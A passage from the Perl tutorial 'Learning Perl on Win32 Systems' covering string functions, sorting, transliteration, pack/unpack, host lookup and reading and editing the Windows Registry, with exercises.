Going the other way, you can scan from the right to get the rightmost occurrence using rindex. The return value is still the number of characters between the left end of the string and the start of the substring, as before, but you'll get the rightmost occurrence instead of the leftmost occurrence if there are more than one. The rindex function also takes a third parameter like index does, so that you can get an occurrence that is less than or equal to a selected position. Here are some examples of what you get:

$w = rindex("hello world","he");  # $w gets 0
$w = rindex("hello world","l");   # $w gets 9 (rightmost l)
$w = rindex("hello world","o");   # $w gets 7
$w = rindex("hello world","o ");  # now $w gets 4
$w = rindex("hello world","xx");  # $w gets -1 (not found)
$w = rindex("hello world","o",6); # $w gets 4 (first before 6)
$w = rindex("hello world","o",3); # $w gets -1 (not found before 3)

Previous: 14.6 Exercises | Learning Perl on Win32 Systems | Next: 15.2 Extracting and Replacing a Substring
14.6 Exercises | Book Index | 15.2 Extracting and Replacing a Substring


[Chapter 15] 15.2 Extracting and Replacing a Substring

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

15.2 Extracting and Replacing a Substring

Pulling out a piece of a string can be done with careful application of regular expressions, but if the piece is always at a known character position, this method is inefficient. Instead, you should use substr. This function takes three arguments: a string value, a start position (measured as with index), and a length, like so:

$s = substr($string,$start,$length);

The start position works like index: the first character is zero, the second character is one, and so on. The length is the number of characters to grab at that point: a length of zero means no characters, one means get the first character, two means two characters, and so on. (substr stops at the end of the string, so if you ask for too many characters, don't worry.) substr looks like this:

$hello = "hello, world!";
$grab  = substr($hello, 3, 2);   # $grab gets "lo"
$grab  = substr($hello, 7, 100); # 7 to end, or "world!"

You could even create a "10 to the power of " operator for small integer powers, as in:

$big = substr("10000000000",0,$power+1); # 10**$power

If the count of characters is zero, an empty string is returned. If either the starting position or ending position is less than zero, the position is counted that many characters from the end of the string. So -1 for a start position and 1 (or more) for the length gives you the last character. Similarly, -2 for a start position starts with the second-to-last character. The following example illustrates the point:

$stuff = substr("a very long string",-3,3); # last three chars
$stuff = substr("a very long string",-3,1); # the letter "i"

If the starting position is before the beginning of the string (like a huge negative number bigger than the length of the string), the beginning of the string is the start position (as if you had used zero for a starting position). If the start position is a huge positive number, the empty string is always returned. In other words, substr probably does what you expect it to do, as long as you expect it to always return something other than an error.

Omitting the length argument provides the same result as including a huge number for that argument - grabbing everything from the selected position to the end of the string.[1]

[1] Very old Perl versions did not allow the third argument to be omitted, leading to the use of a huge number for that argument by pioneer Perl programmers. You may come across such cases in your Perl archeological expeditions.

If the first argument to substr is a scalar variable (in other words, it could appear on the left side of an assignment operator), then the substr itself could appear on the left side of an assignment operator. This case may look strange if you come from a C background, but if you've ever played with some dialects of BASIC, it's quite normal.

What gets changed as the result of such an assignment is the part of the string that would have been returned had the substr been used on the right-hand side of the expression instead. In other words, substr($var,3,2) returns the fourth and fifth characters (starting at 3, for a count of 2), so assigning a value to substr($var,3,2) changes those two characters as shown:

$hw = "hello world!";
substr($hw, 0, 5) = "howdy"; # $hw is now "howdy world!"

The length of the replacement text (what gets assigned into the substr) doesn't have to be the same as the text it is replacing, as shown in this example. The string will automatically grow or shrink as necessary to accommodate the text. Here's an example in which the string gets shorter:

substr($hw, 0, 5) = "hi"; # $hw is now "hi world!"

and here's an example that makes the string longer:

substr($hw, -6, 5) = "nationwide news"; # replaces "world"

The shrinking and growing are fairly efficient, so don't worry about using them arbitrarily, although replacing a string with a string of equal length is a faster solution.

Previous: 15.1 Finding a Substring | Learning Perl on Win32 Systems | Next: 15.3 Formatting Data with sprintf( )
15.1 Finding a Substring | Book Index | 15.3 Formatting Data with sprintf( )


[Chapter 15] 15.3 Formatting Data with sprintf( )

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

15.3 Formatting Data with sprintf( )

The printf function is sometimes handy when used to take a list of values and produce an output line that displays the values in controllable ways. The sprintf function is identical to printf for its arguments, but returns whatever would have been output by printf as a single string. (Think of it as "string printf.") For example, to create a string consisting of the letter X followed by a five-digit zero-padded value of $y, simply use this:

$result = sprintf("X%05d",$y);

See Chapter 6, Basic I/O, or Chapter 3 of Programming Perl for a description of the format strings understood by printf and sprintf.

Previous: 15.2 Extracting and Replacing a Substring | Learning Perl on Win32 Systems | Next: 15.4 Advanced Sorting
15.2 Extracting and Replacing a Substring | Book Index | 15.4 Advanced Sorting


[Chapter 15] 15.4 Advanced Sorting

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

15.4 Advanced Sorting

Earlier, you learned that you could take a list and sort it in ascending ASCII order (as you do with strings) using the built-in sort function. What if you don't want an ascending ASCII sort, but something else instead, like a numeric sort? Well, Perl gives you the tools you need to do the job. In fact, you'll see that the Perl sort is completely general and able to perform any well-defined sort order.

To define a sort of a different color, you need to define a comparison routine that describes how two elements compare. Why is this necessary? Well, if you think about it, sorting is putting a bunch of things in order by comparing them all. Because you can't compare them all at once, you need to compare two at a time, eventually using what you find out about each pair's order to put the whole kit'n'caboodle in line.

The comparison routine is defined as an ordinary subroutine. This routine will be called repeatedly, each time passing two elements of the list to be sorted. The routine must determine whether the first value is less-than, equal-to, or greater-than the second value, and return a coded value (described in a moment). This process is repeated until the list is sorted.

To save a little execution speed, the two values are not passed in an array, but rather are handed to the subroutine as the values of the global variables $a and $b. (Don't worry: the original values of $a and $b are safely protected.) The routine should return any negative number if $a is less than $b, 0 if $a is equal to $b, and any positive number if $a is greater than $b. Now remember, the less-than sign is defined by you; it could be a numeric comparison, according to the third character of the string, or even according to the values of a hash using the passed-in values as keys. It's really pretty flexible.

Here's an example of a sort subroutine that sorts in numeric order:

sub by_number {
        if ($a < $b) {
            return -1;
        } elsif ($a == $b) {
            return 0;
        } elsif ($a > $b) {
            return 1;
        }
}

Notice the name by_number. There's nothing special about the name of this subroutine, but you'll see why we like names that start with by_ in a minute.

Let's look through this routine. If the value of $a is less than (numerically in this case) the value of $b, we return a -1 value. If the values are numerically equal, we get back a 0, and otherwise a 1. So, according to our specification for a sort comparison routine, this method should work.

How do we use it? Let's try sorting the following list:

@somelist = (1,2,4,8,16,32,64,128,256);

If we use the ordinary sort without any adornment on the list, we get the numbers sorted as if they were strings, and in their ASCII order, like so:

@wronglist = sort @somelist;
# @wronglist is now (1,128,16,2,256,32,4,64,8)

This sort is certainly not very numeric. Well, let's give sort our newly defined sort routine. The name of the sort routine immediately follows the sort keyword, like so:

@rightlist = sort by_number @wronglist;
# @rightlist is now (1,2,4,8,16,32,64,128,256)

This sort does the trick. Note that you can read the sort with its companion sort routine in a human-like fashion: "sort by number." This feature is why we named the subroutine with a by_ prefix.

This kind of three-way value of -1, 0, and +1 on the basis of a numeric comparison occurs often enough in sort routines that Perl has a special operator to do this in one fell swoop. The operation is often called the spaceship operator, and looks like <=>. Using the spaceship operator, the preceding sort subroutine can be replaced with this:

sub by_number {
        $a <=> $b;
}

Note the spaceship between the two variables. Yes, it is indeed a three-character-long operator. The spaceship returns the same values as the if/elsif chain from the previous definition of this routine. Now this is pretty short, but you can reduce the sort invocation even further, by replacing the name of the sort routine with the entire sort routine in line, like so:

@rightlist = sort { $a <=> $b } @wronglist;

There are some who argue that this shortcut decreases readability. They are wrong. Others argue that it removes the need to go somewhere else for the definition. Perl doesn't care. Our personal rule is that if it doesn't fit on one line or we have to use it more than once, it goes into a subroutine.

The spaceship operator for numeric comparison has a comparable string operator called cmp. The cmp operator returns one of three values depending on the relative string comparisons of the two arguments. So, another way to write the default sort order[2] is:

[2] This statement is not exactly true. The built-in sort discards undef elements, but this one doesn't.

@result = sort { $a cmp $b } @somelist;

You probably won't ever write this exact subroutine (mimicking the built-in default sort), unless you're writing a book about Perl. However, the cmp operator does have its uses in the construction of cascaded ordering schemes. For example, you might need to put the elements in numeric order unless they're numerically equal, in which case they should go in ASCII string order. (By default, the by_number routine above just sticks nonnumeric strings in some random order because there's no numeric ordering when comparing two values of zero.) Here's a way to say "numeric, unless they're numerically equal, then string":

sub by_mostly_numeric {
        ($a <=> $b) || ($a cmp $b);
}

How does this work? Well, if the result of the spaceship is -1 or 1, the rest of the expression is skipped, and the -1 or 1 is returned. If the spaceship evaluates to zero, however, the cmp operator gets its turn at bat, returning an appropriate ordering value considering the values as strings.

The values being compared are not necessarily the values being passed in. For example, say you have a hash where the keys are the login names and the values are the real names of each user. Suppose you want to print a chart where the login names and real names are sorted in the order of the real names. How would you do that?

Actually, the solution is fairly easy. Let's assume the values are in the array %names. The login names are thus the list of keys(%names). What we want to end up with is a list of the login names sorted by the corresponding value, so for any particular key $a, we need to look at $names{$a} and sort based on that. If you think of the sort that way, it almost writes itself, as in:

@sortedkeys = sort by_names keys(%names);

sub by_names {
        return $names{$a} cmp $names{$b};
}

foreach (@sortedkeys) {
        print "$_ has a real name of $names{$_}\n";
}

To this we should also add a fallback comparison. Suppose the real names of two users are identical. Because of the whimsical nature of the sort routine, we might get one value ahead of another the first time through and the values in the reversed order the next time. This difference is bad if the report might be fed into a comparison program for reporting, so try very hard to avoid such things. With the cmp operator, you can avoid this case like this:

sub by_names {
        ($names{$a} cmp $names{$b}) || ($a cmp $b);
}

Here, if the real names are the same, we sort based on the login name instead. Because the login name is guaranteed to be unique (after all, login names are the keys of this hash, and no two keys are the same), then we can ensure a unique and repeatable order. Good defensive programming during the day is better than a late-night call from a system administrator wondering why the security alarms are going off.

Previous: 15.3 Formatting Data with sprintf( ) | Learning Perl on Win32 Systems | Next: 15.5 Transliteration
15.3 Formatting Data with sprintf( ) | Book Index | 15.5 Transliteration


[Chapter 15] 15.5 Transliteration

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

15.5 Transliteration

When you want to take a string and replace every instance of some character with some new character, or delete every instance of some character, you can do so with carefully selected s/// commands. But suppose you had to change all of the a's into b's, and all of the b's into a's? You can't do that with two s/// commands because the second one would undo all of the changes that the first one made.

Perl provides a tr operator that does the trick:

tr/ab/ba/;

The tr operator takes two arguments: an old string and a new string. These arguments work like the two arguments to s///; in other words, there's some delimiter that appears immediately after the tr keyword that separates and terminates the two arguments (in this case, a slash, but nearly any character will do).

The tr operator modifies the contents of the $_ variable (just like s///), looking for characters of the old string within the $_ variable. All such characters found are replaced with the corresponding characters in the new string. Here are some examples:

$_ = "fred and barney";
tr/fb/bf/;        # $_ is now "bred and farney"
tr/abcde/ABCDE/;  # $_ is now "BrED AnD fArnEy"
tr/a-z/A-Z/;      # $_ is now "BRED AND FARNEY"

Notice how a range of characters can be indicated by two characters separated by a dash. If you need a literal dash in either string, precede it with a backslash.

If the new string is shorter than the old string, the last character of the new string is repeated enough times to make the strings equal length, like so:

$_ = "fred and barney";
tr/a-z/x/; # $_ is now "xxxx xxx xxxxxx"

To prevent this behavior, append a d to the end of the tr/// operator, which means delete. In this case, the last character is not replicated. Any character that matches in the old string without a corresponding character in the new string is simply removed from the string. For example:

$_ = "fred and barney";
tr/a-z/ABCDE/d; # $_ is now "ED AD BAE"

Notice how any letter after e disappears because there's no corresponding letter in the new list, and that spaces are unaffected because they don't appear in the old list.

If the new list is empty and there's no d option, the new list is the same as the old list. This default may seem silly. Why replace an I for an I and a 2 for a 2? But the command actually does something useful. The return value of the tr/// operator is the number of characters matched by the old string, and by changing characters into themselves, you can get the count of that kind of character within the string.[3] For example:

[3] This method works only for single characters. To count strings, use the /g flag to a pattern match:

while (/pattern/g) {
    $count++;
}
$_ = "fred and barney";
$count = tr/a-z//;      # $_ unchanged, but $count is 13
$count2 = tr/a-z/A-Z/;  # $_ is uppercased, and $count2 is 13

If you append a c (like appending the d), you complement the old string with respect to all 256 characters. Any character you list in the old string is removed from the set of all possible characters; the remaining characters, taken in sequence from lowest to highest, form the resulting old string. So, a way to count or change the nonletters in our string could be:

$_ = "fred and barney";
$count = tr/a-z//c; # $_ unchanged, but $count is 2
tr/a-z/_/c;         # $_ is now "fred_and_barney" (non-letters => _)
tr/a-z//cd;         # $_ is now "fredandbarney" (delete non-letters)

Notice that the options can be combined, as shown in that last example, where we first complement the set (the list of letters become the list of all nonletters) and then use the d option to delete any character in that set.

The final option for tr/// is s, which squeezes multiple consecutive copies of the same resulting translated letter into one copy. As an example, look at this:

$_ = "aaabbbcccdefghi";
tr/defghi/abcddd/s; # $_ is now "aaabbbcccabcd"

Note that the def became abc, and ghi (which would have become ddd without the s option) becomes a single d. Also note that the consecutive letters at the first part of the string are not squeezed because they didn't result from a translation. Here are some more examples:

$_ = "fred and barney, wilma and betty";
tr/a-z/X/s;   # $_ is now "X X X, X X X"
$_ = "fred and barney, wilma and betty";
tr/a-z/_/cs;  # $_ is now "fred_and_barney_wilma_and_betty"

In the first example, each word (consecutive letters) was squeezed down to a single letter X. In the second example, all chunks of consecutive nonletters became a single underscore.

Like s///, the tr operator can be targeted at another string besides $_ using the =~ operator:

$names = "fred and barney";
$names =~ tr/aeiou/X/; # $names now "frXd Xnd bXrnXy"

Previous: 15.4 Advanced Sorting | Learning Perl on Win32 Systems | Next: 15.6 Exercises
15.4 Advanced Sorting | Book Index | 15.6 Exercises


[Chapter 15] 15.6 Exercises

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

15.6 Exercises

See Appendix A, Exercise Answers for answers.

  1. Write a program to read a list of filenames, breaking each name into its head and tail components. (Everything up to the last backslash is the head, and everything after the last slash is the tail. If there's no backslash, everything is in the tail.) Try this exercise with things like \fred, barney, and fred\barney. Do the results make sense?

  2. Write a program to read in a list of numbers on separate lines, and then sort them numerically, printing out the resulting list in a right-justified column. (Hint: the format to print a right-justified column is something like "%20g".)

  3. Create a file that consists of sentences, one per line. Write a program that makes the first character of each sentence uppercase, and the rest of the sentence lowercase. (Does the program work even when the first character is not a letter? How would you alter the program if the sentences were not already one per line?)

Previous: 15.5 Transliteration | Learning Perl on Win32 Systems | Next: 16. System Information
15.5 Transliteration | Book Index | 16. System Information


[Chapter 16] System Information

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book
Previous: 15.6 Exercises Chapter 16 Next: 16.2 Packing and Unpacking Binary Data

16. System Information

Contents:
Getting User and Machine Information
Packing and Unpacking Binary Data
Getting Network Information
The Registry
Opening and Reading Registry Values
Setting Registry Values
Exercises

16.1 Getting User and Machine Information

Perl provides several facilities for finding out information about the user and machine that you are running on. These functions are provided via Win32 extensions (see Appendix B, Libraries and Modules, for more information).

To retrieve the name of the user executing the script, use the Win32::LoginName function:

use Win32;
$name = Win32::LoginName;

To retrieve the name of the machine executing the script, use the Win32::NodeName function:

use Win32;
$machine = Win32::NodeName;

The Win32::NetAdmin module provides extensive functionality for administering users and groups. Here's an simple example of how you might use it to retrieve the current user's home directory:

use Win32::NetAdmin;
$user = Win32::LoginName; # grab the name of the current user
Win32::NetAdmin::UserGetAttributes("",
    $username, $password, $passwordage,
    $privilege, $homedir, $comment,
    $flags, $scriptpath);
print "The homedir for $username is $homedir\n";

For more information on using Win32::NetAdmin, explore the win32mod documentation.

As you explore Perl scripts on the Net, you'll no doubt find scripts that refer to any of a myriad of Perl functions that access UNIX password and group files. At the time of this writing, these functions are not implemented in Perl on Win32 platforms, but you can usually duplicate the functionality (if it's applicable) using one of the Win32 extension modules.

Previous: 15.6 Exercises | Learning Perl on Win32 Systems | Next: 16.2 Packing and Unpacking Binary Data
15.6 Exercises | Book Index | 16.2 Packing and Unpacking Binary Data


[Chapter 16] 16.2 Packing and Unpacking Binary Data

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

16.2 Packing and Unpacking Binary Data

While most of the user information is nicely represented in textual form, other system information is more naturally represented in other forms. For example, the IP address of an interface is internally managed as a four-byte number. While it is frequently decoded into a textual representation consisting of four small integers separated by periods, this encoding and decoding is wasted effort if a human is not interpreting the data in the meantime.

As a result, the network routines in Perl that expect or return an IP address use a four-byte string that contains one character for each sequential byte in memory. While constructing and interpreting such a byte-string is fairly straightforward using chr and ord (not presented here), Perl provides a short cut that is equally applicable to more difficult structures.

The pack function works a bit like sprintf, taking a format control string and a list of values, and creating a single string from those values. The pack format string is geared towards creating a binary data structure, however. For example, to take four small integers and pack them as successive unsigned bytes in a composite string, use the following format:

$buf = pack("CCCC", 140, 186, 65, 25);

Here, the pack format string is four C's. Each C represents a separate value taken from the following list (similar to what a % field does in sprintf). The C format (according to the Perl manpages, the reference card, Programming Perl, the HTML files, or even Perl: The Motion Picture) refers to a single byte computed from an unsigned character value (a small integer). The resulting string in $buf is a four-character string - each character being one byte from the four values 140, 186, 65, and 25.

Similarly, the format l generates a signed long value. On many machines, this is a four-byte number, although this format is machine-dependent. On a four-byte long machine, the statement:

$buf = pack("l",0x41424344);

generates a four-character string that looks like either ABCD or DCBA, depending on whether the machine is little-endian or big-endian. These results occur because we are packing one value into four characters (the length of a long integer), and the one value just happens to be composed of the bytes representing the ASCII values for the first four letters of the alphabet. Similarly:

$buf = pack("ll", 0x41424344, 0x45464748);

creates an eight-byte string consisting of ABCDEFGH or DCBAHGFE, once again depending on whether the machine is little- or big-endian.

The exact list of the various pack formats is given in the reference documentation (perlfunc, or Programming Perl). You'll see a few here as examples, but we're not going to list them all.

What if you were given the eight-byte string ABCDEFGH and were told that it was really the memory image (one character is one byte) of two long (four-byte) signed values? How would you interpret it? Well, you'd need to do the inverse of pack, called unpack. This function takes a format control string (usually identical to the one you'd give pack) and a data string, and returns a list of values that make up the memory image defined in the data string. For example, let's take that string apart:

($val1,$val2) = unpack("ll","ABCDEFGH");

This statement gives us back something like 0x41424344 for $val1, or possibly 0x44434241 instead (depending on big-endian-ness). In fact, by the values that come back, we can determine if we are on a little- or big-endian machine.

Whitespace in the format control string is ignored, and can be used for readability. A number in the format control string generally repeats the previous specification that many times. For example, CCCC can also be written C4 or C2C2 with no change in meaning. (A few of the specifications use a trailing number as a part of the specification, and thus cannot be multiplied in this manner.)

A format character can also be followed by a *, which repeats the format character enough times to swallow up the rest of the list or the rest of the binary image string (depending on whether you are packing or unpacking). So, another way to pack four unsigned characters into a string is:

$buf = pack("C*", 140, 186, 65, 25);

The four values here are swallowed up by the one format specification. If you had wanted two short integers followed by "as many unsigned chars as possible," you could say something like:

$buf = pack("s2 C*", 3141, 5926, 5, 3, 5, 8, 9, 7, 9, 3, 2);

Here, we take the first two values as shorts (generating four or eight characters, probably) and the remaining nine values as unsigned characters (generating nine characters, almost certainly).

Going in the other direction, unpack with an asterisk specification can generate a list of elements of unpredetermined length. For example, unpacking with C* creates one list element (a number) for each string character. Therefore, this statement:

@values = unpack("C*", "hello, world!\n");

yields a list of 14 elements, one for each of the characters of the string.

Previous: 16.1 Getting User and Machine Information | Learning Perl on Win32 Systems | Next: 16.3 Getting Network Information
16.1 Getting User and Machine Information | Book Index | 16.3 Getting Network Information


[Chapter 16] 16.3 Getting Network Information

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

16.3 Getting Network Information

Perl supports network programming in a way that is very familiar to those who have written network code in C programs. In fact, most of the Perl functions that provide network access have the same names and similar parameters as their C counterparts. We can't teach a complete course on network programming in this chapter, but let's take a look at one of the task fragments to see how it's done in Perl.

One of the things you need to find out is the network address that goes with a network name, or vice versa. In C, you use the gethostbyname routine to convert a network name to a network address. You then use this address to create a connection from your program to another program somewhere else.

The Perl function to translate a host name to an address has the same name and similar parameters as the C routine, and looks like this:

($name, $aliases, $addrtype, $length, @addrs) =
        gethostbyname($name); # generic form of gethostbyname

The parameter to this function is a hostname - for example, slate.bedrock.com. The return value is a list of four or more parameters, depending on how many addresses are associated with the name. If the hostname is not valid, the function returns an empty list.

If gethostbyname is called in a scalar context, only the (first) address is returned.

When gethostbyname()completes successfully, $name is the canonical name, which differs from the input name if the input name is an alias. $aliases is a list of space-separated names by which the host is also known. $addrtype gives a coded value to indicate the form of the addresses. In this case, for slate.bedrock.com, we can presume that the value indicates an IP address, usually represented as four numbers under 256, separated by dots. $length gives the number of addresses, which is actually redundant information because you can look at the length of @addrs anyway.

But the useful part of the return value is @addrs. Each element of the list is a separate IP address, stored in an internal format, handled in Perl as a four-character string.[1] While this four-character string is exactly what other Perl networking functions are looking for, suppose we wanted to print out the result for the user to see. In this case, we need to convert the return value into a human-readable format with the assistance of the unpack function and a little additional massaging. Here's some code that prints one of slate.bedrock.com' s IP addresses:

[1] Well, at least until IPv6.

($addr) = (gethostbyname("slate.bedrock.com"))[4];
print "Slate's address is ",
        join(".",unpack("C4", $addr)), "\n";

The unpack takes the four-byte string and returns four numbers. This just happens to be in the right order for the join to glue in a dot between each pair of numbers to make the human-readable form. See Appendix C, Networking Clients, for information about building simple networking clients.

Previous: 16.2 Packing and Unpacking Binary Data | Learning Perl on Win32 Systems | Next: 16.4 The Registry
16.2 Packing and Unpacking Binary Data | Book Index | 16.4 The Registry


[Chapter 16] 16.4 The Registry

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

16.4 The Registry

The Windows NT Registry is a database that stores all sorts of information about your system. It includes operating system and hardware information, file extension associations, environment information, application information, and much more. In addition to being used heavily by the operating system, most Win32 applications keep registration and state information in the Registry. If you've never taken a look at it before, you really ought to run the regedit.exe (or regedt32.exe) utility included with your system and take a look at what the Registry contains. For a detailed programmer's reference to the Windows 95 Registry, you might try Ron Petrusha's Inside the Windows 95 Registry, published by O'Reilly & Associates.

Many operating system and application behaviors are controlled by Registry data; therefore, one of the most valuable tools an administrator can have at his disposal is an efficient way to update Registry data. Enter Perl's Win32::Registry package, which provides a powerful interface to the Registry. This package lets you retrieve information from the Registry, as well as add new information and modify or delete existing information.

A strong word of caution is in order before we begin. The Registry contains vital system data and you could render your system inoperable by deleting or changing Registry information. Before modifying the Registry, make certain that you have a good backup of your entire Registry. The exercises in this chapter will only read data or write to harmless areas of the Registry, but taking precautions is still a good idea. To make a backup, use the regedit utility included with your system.

16.4.1 The Registry Structure

The Registry is organized into four main subtrees of keys that contain machine and user data. Each subtree is organized into clusters of keys called hives (by analogy to the cellular structure of beehives). A hive is a collection of keys, subkeys, and values that is rooted at the subtree. For example, one of the Registry subtrees, as shown in Figure 16.1, is HKEY_LOCAL_MACHINE, which contains information about the local machine and the software installed on it. The hives under HKEY_LOCAL_MACHINE are HARDWARE, SAM, SECURITY, SOFTWARE, and SYSTEM.

Each registry key can have data items called values, or additional child keys called subkeys. Some users like to think of this in terms of a filesystem: keys are similar to directories and values are similar to files.

Figure 16.1: Sample Registry

Table 16.1 details the four main subtrees of the Registry, and a general description of what each one is used for.

Table 16.1: Sample Registry Subtrees
Registry Subtree | Description
HKEY_LOCAL_MACHINE | Contains information about the local computer, including information about the hardware and operating system
HKEY_CLASSES_ROOT | Contains OLE and file association information
HKEY_CURRENT_USER | Contains user profile information for the currently logged-on user including environment, desktop, and preference settings
HKEY_USERS | Contains all actively loaded user profiles (including HKEY_CURRENT_USER) and default user profile information

The Win32:Registry package creates an instantiated registry key object[2] for each of these subtrees, so you can open keys relative to these trees.

[2] See Chapter 18, CGI Programming, for a discussion of Perl objects.

The Registry can contain several different data types including strings, dwords (unsigned four-byte integers), unicode strings, expanding strings (e.g., environment variables that rely on the value of another environment variable), binary data, and more. Win32::Registry defines constants (in the form of subroutines) for these values. Table 16.2 gives some of the most useful constants.

Table 16.2: Win32::Registry Constants
Win32::Registry Constant | Data Type
REG_SZ | String Data
REG_DWORD | Unsigned four-byte integer
REG_MULTI_SZ | Multiple strings, delimited with NULL
REG_EXPAND_SZ | Strings that expand (e.g., based on environment variables)
REG_BINARY | Binary data (no particular format is assumed)

Previous: 16.3 Getting Network Information | Learning Perl on Win32 Systems | Next: 16.5 Opening and Reading Registry Values
16.3 Getting Network Information | Book Index | 16.5 Opening and Reading Registry Values


[Chapter 16] 16.5 Opening and Reading Registry Values

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

16.5 Opening and Reading Registry Values

Let's start our exploration of the Registry by finding out how to get information out of it. As an example, let's see what we can find out about the current build version of Windows NT on our system. If you're using this book on a Windows 95 system, you'll need to change the Windows NT key to Windows:

use Win32::Registry;
$p = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion";
$main::HKEY_LOCAL_MACHINE->Open($p, $CurrVer) ||
        die "Open: $!";
$CurrVer->GetValues(\%vals); # get sub keys and value -hash ref
foreach $k (keys %vals) {
    $key = $vals{$k};
    print "$$key[0] = $$key[2]\n"; # see below for explanation
}

Running this script on one of our systems produces the following output:

CurrentBuildNumber: 1381
CSDVersion = Service Pack 3
CurrentBuild = 1.511.1 () (Obsolete data - do not use)
RegisteredOrganization = Axiom Technologies
CurrentType = Uniprocessor Free
InstallDate = �?L3
RegisteredOwner = Erik Olson
CurrentVersion = 4.0
SystemRoot = D:\NT
CurrentBuildNumber = 1381
SoftwareType = SYSTEM
ProductId = 50036419013877247607
SourcePath = E:\I386
PathName = D:\NT

Let's see what's going on here. The first line of the script employs the use operator to include the Win32::Registry package. We then have a variable $p containing a Registry path relative to HKEY_LOCAL_MACHINE. The third line uses $main::HKEY_LOCAL_MACHINE (one of the Registry keys declared in registry.pm that we mentioned) to open the CurrentVersion key. If the Open method succeeds, $CurrVer will contain the Registry object corresponding to the CurrentVersion key.

Line four uses the $CurrVer key to call the GetValues method. GetValues takes a reference to a hash as a parameter and populates that hash with all of the values under $CurrVer. Each hash element consists of a key with the name of the Registry value and a value containing a reference to a three-element list. The list contains the value name, the data type of the value, and the value data. The remaining lines of the example iterate over each value using the foreach operator and print its value name and data value. For example:

foreach $k (keys %vals) {          # iterate over keys
    $key = $vals{$k};              # get ref to list
    print "$$key[0] = $$key[2]\n"; # dereference as list
}

We've seen how the Open method will open a Registry key relative to one of the main subtrees (or another key). We can also use the Create method to open a key, creating it if it doesn't exist. Create won't create more than one level deep, so we need to have a handle to the parent key before calling create. Here's an example that creates a new key under the HKEY_CURRENT_USER\SOFTWARE hive:

use Win32::Registry;
$main::HKEY_CURRENT_USER->Open("SOFTWARE", $Software) ||
        die "Open: $!";
$Software->Create("ERIKO", $eriko) ||
        die "Create: $!"; # new key is in $eriko

In order to create a key under SOFTWARE, we first need to obtain the key to SOFTWARE. We do so by using Open again, this time with the HKEY_CURRENT_USER subtree. After we have the SOFTWARE key open, we can create keys directly beneath it.

Previous: 16.4 The Registry | Learning Perl on Win32 Systems | Next: 16.6 Setting Registry Values
16.4 The Registry | Book Index | 16.6 Setting Registry Values


[Chapter 16] 16.6 Setting Registry Values

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

16.6 Setting Registry Values

In addition to creating keys, we can also set Registry values. To do so, we once again need an open key and the SetValue or SetValueEx function. SetValue sets the default (unnamed) value for a key, while SetValueEx allows you to create a new named value and set its information. The following example assumes that we already have the $eriko key open:

$eriko->SetValue("blah", REG_SZ, "some_string");
$eriko->SetValueEx("foo", 0, REG_SZ, "bar");

Even though these two functions look similar, they do quite different things. The first line (SetValue) creates a new key called blah and sets its default (unnamed) value to some_string. The second line (SetValueEx) creates a new value under $eriko with a name of foo and a value of bar. In both cases, we're using the REG_SZ data type, which indicates string data.

16.6.1 More Registry Operations

You can do more with the Registry than just read and modify key values. You can also delete keys and export/import hives from the Registry. As we mentioned above, be extremely prudent when deleting or importing things into your registry.

Here's an example of deleting a key:

use Win32::Registry;
$main::HKEY_CURRENT_USER->Open("SOFTWARE", $Software) ||
        die "Open: $!";
$Software->Create("ERIKO", $eriko) ||
        die "Create: $!";     # open parent key
$eriko->DeleteKey("blah"); # delete blah

DeleteKey will delete a key and all of its values - it will not delete a key with subkeys. To do that, you need to remove all of the subkeys first. Here's how you do that:

use Win32::Registry;
$main::HKEY_CURRENT_USER->Open("SOFTWARE", $Software) ||
        die "Open: $!";
$Software->Create("ERIKO", $eriko) ||
        die "Create: $!";
$eriko->Open("blah", $blah); # open blah
$blah->GetKeys(\@kids);      # get all child keys
foreach $k (@kids) {         # kill all of them
    $blah->DeleteKey($k);
}
$eriko->DeleteKey("blah");   # now, remove blah

This code assumes that none of the child keys of blah have child keys themselves. If they do, you'll need to do something recursive to iterate over each subkey and all of its subkeys.

The following example saves a Registry hive to an external file using the Save method:

use Win32::Registry;
$main::HKEY_LOCAL_MACHINE->Open("SOFTWARE", $Software) ||
        die "Open: $!";
$Software->Open("ActiveState", $ActiveState) ||
        die "Open: $!";
# write ActiveState hive to perlkeys.reg
$ActiveState->Save("perlkeys.reg") ||
        die "Save: $!";

You can connect to the Registry of a remote machine (but only to the HKEY_LOCAL_MACHINE or HKEY_USERS hives) using the RegConnectRegistry function:

use Win32::Registry;
Win32::Registry::RegConnectRegistry("\\\\somemachine",
           HKEY_LOCAL_MACHINE, $key) || die "connect: $!";

Previous: 16.5 Opening and Reading Registry Values | Learning Perl on Win32 Systems | Next: 16.7 Exercises
16.5 Opening and Reading Registry Values | Book Index | 16.7 Exercises


[Chapter 16] 16.7 Exercises

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

16.7 Exercises

See Appendix A, Exercise Answers for the answers.

  1. Write a program that takes a machine name as input and then prints a list of all of the IP addresses for that machine (skip this example if you don't have TCP/IP installed). Try your program on something like www.microsoft.com that has lots of IP addresses to make sure you get it right.

  2. Write a program that takes as an argument a single Registry key relative to HKEY_LOCAL_MACHINE and prints all of the values under it (don't worry about recursing into child keys or about binary data for now, just print whatever you get).

  3. Write a subroutine that creates all of the keys in a path if they don't exist. To make things easier, pass in the subtree to which the path is relative.

  4. Using what you know about unpack, write a routine that will print a hexidecimal representation of a REG_DWORD value (that is, a four-byte integer value).

Previous: 16.6 Setting Registry Values | Learning Perl on Win32 Systems | Next: 17. Database Manipulation
16.6 Setting Registry Values | Book Index | 17. Database Manipulation


[Chapter 17] Database Manipulation

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book
Previous: 16.7 Exercises Chapter 17 Next: 17.2 Opening and Closing DBM Hashes

17. Database Manipulation

Contents:
DBM Databases and DBM Hashes
Opening and Closing DBM Hashes
Using a DBM Hash
Fixed-Length Random-Access Databases
